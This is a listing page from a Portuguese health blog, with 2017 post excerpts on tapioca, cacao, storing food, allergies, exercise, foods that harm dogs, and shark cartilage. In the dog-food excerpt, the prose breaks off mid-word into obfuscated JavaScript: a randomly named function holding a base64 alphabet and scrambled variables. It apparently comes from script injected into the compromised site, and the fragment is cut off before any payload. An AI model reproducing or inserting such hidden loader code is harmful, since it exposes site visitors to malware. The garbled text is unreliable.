7 benefícios da tapioca para a nossa saúde

Abr 14, 2017 | Dicas úteis, Saúde e bem estar

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7 benefícios da tapioca para a nossa saúde   Hoje vou falar-lhe de um alimento originário do Brasil e que já tem vindo a conquistar cada vez mais fãs por todo mundo. Já conhece a tapioca? Os benefícios são impressionantes. Saiba tudo aqui. A tapioca é a fécula...

Cacau, o rei dos antioxidantes, e os seus benefícios

Abr 11, 2017 | Saúde e bem estar

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Cacau, o rei dos antioxidantes, e os seus benefícios     Todos nós conhecemos o delicioso cacau, mas será que sabe que este superalimento  é considerado por muitos o rei dos antioxidantes?  É verdade, os grãos de cacau são produzidos através da planta “Theobroma...

10 alimentos que não deve guardar no frigorífico

Abr 8, 2017 | Saúde e bem estar

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10 alimentos que não deve guardar no frigorífico   O frigorífico é fundamental para guardamos a fruta e os vegetais frescos e alguns alimentos no congelador, como a carne e o peixe. Mas atenção que o frio não faz bem a todos os alimentos. Há os que podem ser...

7 alimentos que combatem as alergias da Primavera

Abr 6, 2017 | Equilíbrio, Saúde e bem estar

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7 alimentos que combatem as alergias da Primavera   Com a chegada da Primavera, os dias começam a crescer, a temperatura a subir e fica tudo mais alegre. Mas, como não há bela sem senão, com a Primavera chega também o pólen e com ele os sintomas das alergias, como o...

5 Exercícios para ter uns abdominais definidos

Abr 6, 2017 | Equilíbrio, Saúde e bem estar

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5 Exercícios para ter uns abdominais definidos     O verão está a chegar e as preocupações com o corpo aumentam. Hoje trago-lhe 5 exercícios para ter uns abdominais definidos para exibir na praia este ano! Mas atenção, não vale de nada treinar muito se depois não...

10 alimentos que não deve dar ao seu cão

Mar 30, 2017 | Saúde e bem estar

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10 alimentos que não deve dar ao seu cão     Todos os donos gostam de mimar o seu melhor amigo de quatro patas. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Dicas saudáveis – Benefícios da cartilagem de tubarão

Mar 28, 2017 | Saúde e bem estar

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Dicas saudáveis – Benefícios da cartilagem de tubarão     Tenho partilhado consigo os benefícios de vários superalimentos, que embora nem sempre sejam muito conhecidos, são definitivamente uma boa escolha para introduzir na nossa alimentação diária. Hoje...